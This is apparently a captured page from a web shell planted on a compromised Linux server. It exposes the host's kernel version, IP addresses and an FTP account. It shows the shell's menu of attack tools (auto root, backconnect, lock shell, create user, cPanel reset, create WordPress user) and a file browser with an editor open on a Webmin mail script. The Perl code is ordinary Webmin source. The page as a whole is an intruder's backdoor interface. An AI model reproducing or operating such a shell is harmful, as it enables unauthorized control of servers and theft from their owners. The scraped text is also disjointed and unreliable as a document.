Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mailboxes /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
xinha
[ DIR ]
drwxr-xr-x
CHANGELOG
5.7
KB
-rw-r--r--
Makefile
125
B
-rw-r--r--
acl_security.pl
3
KB
-rwxr-xr-x
boxes-lib.pl
80.12
KB
-rwxr-xr-x
cgi_args.pl
520
B
-rwxr-xr-x
config
757
B
-rw-r--r--
config.info
4.92
KB
-rw-r--r--
config.info.ca
5.77
KB
-rw-r--r--
config.info.cs
5.18
KB
-rw-r--r--
config.info.de
6.25
KB
-rw-r--r--
config.info.el
8.13
KB
-rw-r--r--
config.info.fi
0
B
-rw-r--r--
config.info.fr
6.41
KB
-rw-r--r--
config.info.hu
0
B
-rw-r--r--
config.info.it
5.96
KB
-rw-r--r--
config.info.ja
5.96
KB
-rw-r--r--
config.info.ko
5.28
KB
-rw-r--r--
config.info.nl
5.46
KB
-rw-r--r--
config.info.no
5.24
KB
-rw-r--r--
config.info.pt_BR
0
B
-rw-r--r--
config_info.pl
389
B
-rwxr-xr-x
defaultacl
50
B
-rw-r--r--
delete_all.cgi
1.25
KB
-rwxr-xr-x
delete_mail.cgi
7
KB
-rwxr-xr-x
detach.cgi
3.19
KB
-rwxr-xr-x
detachall.cgi
1.72
KB
-rwxr-xr-x
find.cgi
731
B
-rwxr-xr-x
folders-lib.pl
102.95
KB
-rwxr-xr-x
index.cgi
2.73
KB
-rwxr-xr-x
list_mail.cgi
5.15
KB
-rwxr-xr-x
log_parser.pl
1.02
KB
-rwxr-xr-x
mail_search.cgi
3.68
KB
-rwxr-xr-x
mailboxes-lib.pl
33.57
KB
-rwxr-xr-x
makelang.pl
1.35
KB
-rwxr-xr-x
module.info
137
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
82
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
145
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
185
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
167
B
-rw-r--r--
module.info.ca
97
B
-rw-r--r--
module.info.cs
37
B
-rw-r--r--
module.info.cs.auto
75
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
72
B
-rw-r--r--
module.info.de
77
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
232
B
-rw-r--r--
module.info.es
38
B
-rw-r--r--
module.info.es.auto
72
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
110
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
141
B
-rw-r--r--
module.info.fi
27
B
-rw-r--r--
module.info.fi.auto
61
B
-rw-r--r--
module.info.fr
40
B
-rw-r--r--
module.info.fr.auto
76
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
117
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
108
B
-rw-r--r--
module.info.hu
38
B
-rw-r--r--
module.info.hu.auto
72
B
-rw-r--r--
module.info.it
27
B
-rw-r--r--
module.info.it.auto
76
B
-rw-r--r--
module.info.ja
39
B
-rw-r--r--
module.info.ja.auto
79
B
-rw-r--r--
module.info.ko
29
B
-rw-r--r--
module.info.ko.auto
65
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
110
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
85
B
-rw-r--r--
module.info.ms
73
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
81
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.auto
57
B
-rw-r--r--
module.info.no
27
B
-rw-r--r--
module.info.no.auto
47
B
-rw-r--r--
module.info.pl
38
B
-rw-r--r--
module.info.pl.auto
67
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
94
B
-rw-r--r--
module.info.pt_BR
34
B
-rw-r--r--
module.info.pt_BR.auto
65
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
116
B
-rw-r--r--
module.info.ru
63
B
-rw-r--r--
module.info.ru.auto
99
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
120
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
97
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
78
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
154
B
-rw-r--r--
module.info.tr
104
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
193
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
117
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
99
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
79
B
-rw-r--r--
module.info.zh_TW
33
B
-rw-r--r--
module.info.zh_TW.auto
55
B
-rw-r--r--
prefs.info
225
B
-rw-r--r--
reply_mail.cgi
16.15
KB
-rwxr-xr-x
safeacl
32
B
-rw-r--r--
search_form.cgi
1.86
KB
-rwxr-xr-x
send_mail.cgi
9.56
KB
-rwxr-xr-x
slideshow.cgi
1.63
KB
-rwxr-xr-x
useradmin_update.pl
2.33
KB
-rwxr-xr-x
view_mail.cgi
10.43
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : delete_mail.cgi
#!/usr/bin/perl # delete_mail.cgi # Delete, mark, move or copy multiple messages require './mailboxes-lib.pl'; &ReadParse(); &can_user($in{'user'}) || &error($text{'mail_ecannot'}); @delete = sort { $a <=> $b } split(/\0/, $in{'d'}); @folders = &list_user_folders($in{'user'}); $folder = $folders[$in{'folder'}]; if ($in{'mark1'} || $in{'mark2'}) { # Marking emails with some status @delete || &error($text{'delete_emnone'}); @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); dbmopen(%read, &user_read_dbm_file($in{'user'}), 0600); local $m = $in{'mark1'} ? $in{'mode1'} : $in{'mode2'}; foreach $d (@delete) { local $hid = $mail[$d]->{'header'}->{'message-id'}; if ($m) { $read{$hid} = $m; } else { delete($read{$hid}); } } dbmclose(%read); $perpage = $folder->{'perpage'} || $config{'perpage'}; &redirect("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } elsif ($in{'move1'} || $in{'move2'}) { # Moving mails to some other user's inbox &check_modification($folder); @delete || &error($text{'delete_emovenone'}); $muser = $in{'move1'} ? $in{'mfolder1'} : $in{'mfolder2'}; &can_user($muser) || &error($text{'delete_emovecannot'}); @mfolders = &list_user_folders($muser); @mfolders || &error($text{'delete_emoveuser'}); @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); foreach $d (@delete) { $mail[$d] || &error($text{'mail_eexists'}); push(@movemail, $mail[$d]); } &lock_folder($folder); &lock_folder($mfolder); &mailbox_move_mail($folder, $mfolders[0], @movemail); &unlock_folder($mfolder); &unlock_folder($folder); &webmin_log("movemail", undef, undef, { 'from' => $folder->{'file'}, 'to' => $mfolders[0]->{'file'}, 'count' => scalar(@delete) } ); &redirect("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } elsif ($in{'copy1'} || $in{'copy2'}) { # Copying mails to some other folder @delete || &error($text{'delete_ecopynone'}); $cuser = $in{'copy1'} ? $in{'mfolder1'} : $in{'mfolder2'}; &can_user($cuser) || &error($text{'delete_ecopycannot'}); @cfolders = &list_user_folders($cuser); @cfolders || &error($text{'delete_ecopyuser'}); @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); foreach $d (@delete) { $mail[$d] || &error($text{'mail_eexists'}); push(@copymail, $mail[$d]); } &lock_folder($cfolder); &mailbox_copy_mail($folder, $cfolders[0], @copymail); &unlock_folder($cfolder); &webmin_log("copymail", undef, undef, { 'from' => $folder->{'file'}, 'to' => $cfolders[0]->{'file'}, 'count' => scalar(@delete) } ); &redirect("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } elsif ($in{'forward'}) { # Forwarding selected mails .. redirect @delete || &error($text{'delete_efnone'}); &redirect("reply_mail.cgi?folder=$in{'folder'}&". "dom=$in{'dom'}&user=$in{'user'}&". join("&", map { "mailforward=$_" } @delete)); } elsif ($in{'new'}) { # Need to redirect to compose form &redirect("reply_mail.cgi?new=1&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } elsif ($in{'black'} || $in{'white'}) { # Deny or allow all senders $dir = $in{'black'} ? "blacklist_from" : "whitelist_from"; @delete || &error($text{'delete_ebnone'}); @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); foreach $d (@delete) { push(@addrs, map { $_->[0] } &split_addresses($mail[$d]->{'header'}->{'from'})); } &foreign_require("spam", "spam-lib.pl"); local $conf = &spam::get_config(); local @from = map { @{$_->{'words'}} } &spam::find($dir, $conf); local %already = map { $_, 1 } @from; @newaddrs = grep { !$already{$_} } &unique(@addrs); push(@from, @newaddrs); &spam::save_directives($conf, $dir, \@from, 1); &flush_file_lines(); &redirect("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } elsif ($in{'razor'} || $in{'ham'}) { # Report as ham or spam all messages, and show output to the user @delete || &error($in{'razor'} ? $text{'delete_ebnone'} : $text{'delete_ehnone'}); &ui_print_header(undef, $in{'razor'} ? $text{'razor_title'} : $text{'razor_title2'}, ""); if ($in{'razor'}) { print "<b>$text{'razor_report2'}</b>\n"; } else { print "<b>$text{'razor_report3'}</b>\n"; } print "<pre>"; # Write all messages to a temp file @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); $temp = &transname(); $cmd = $in{'razor'} ? &spam_report_cmd() : &ham_report_cmd(); foreach $d (@delete) { $mail[$d] || &error($text{'mail_eexists'}); &send_mail($mail[$d], $temp); push(@delmail, $mail[$d]); } # Call reporting command on them &open_execute_command(OUT, "$cmd <".quotemeta($temp)." 2>&1", 1); local $error; while(<OUT>) { print &html_escape($_); $error++ if (/failed/i); } close(OUT); unlink($temp); print "</pre>\n"; if ($? || $error) { print "<b>$text{'razor_err'}</b><p>\n"; } else { if ($config{'spam_del'} && $in{'razor'}) { # Delete spam too &lock_folder($folder); &mailbox_delete_mail($folder, @delmail); &unlock_folder($folder); print "<b>$text{'razor_deleted'}</b><p>\n"; } else { print "<b>$text{'razor_done'}</b><p>\n"; } } &ui_print_footer("list_mail.cgi?folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}", $text{'mail_return'}, &user_list_link(), $text{'index_return'}); } elsif ($in{'delete'} || $in{'deleteall'}) { # Just deleting emails &check_modification($folder); @delete || $in{'deleteall'} || &error($text{'delete_enone'}); if (!$in{'confirm'} && &need_delete_warn($folder)) { # Need to ask for confirmation before deleting &ui_print_header(undef, $text{'confirm_title'}, ""); print &ui_confirmation_form("delete_mail.cgi", ($in{'deleteall'} ? &text('confirm_warnall') : &text('confirm_warn', scalar(@delete)))."<br>". ($config{'delete_warn'} ne 'y' ? $text{'confirm_warn2'} : $text{'confirm_warn4'}), [ &inputs_to_hiddens(\%in) ], [ [ 'confirm', $text{'confirm_ok'} ] ], ); &ui_print_footer("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}", $text{'mail_return'}); } else { # Go ahead and delete &lock_folder($folder); if ($in{'deleteall'}) { # Clear the whole folder $delcount = &mailbox_folder_size($folder); &mailbox_empty_folder($folder); } else { # Just delete selected messages @mail = &mailbox_list_mails($delete[0], $delete[@delete-1], $folder); foreach $d (@delete) { $mail[$d] || &error($text{'mail_eexists'}); push(@delmail, $mail[$d]); } &mailbox_delete_mail($folder, @delmail); $delcount = scalar(@delmail); } &unlock_folder($folder); &webmin_log("delmail", undef, undef, { 'from' => $folder->{'file'}, 'all' => $in{'deleteall'}, 'count' => $delcount } ); &redirect("list_mail.cgi?start=$in{'start'}&folder=$in{'folder'}&user=$in{'user'}&dom=$in{'dom'}"); } } &pop3_logout_all();
Close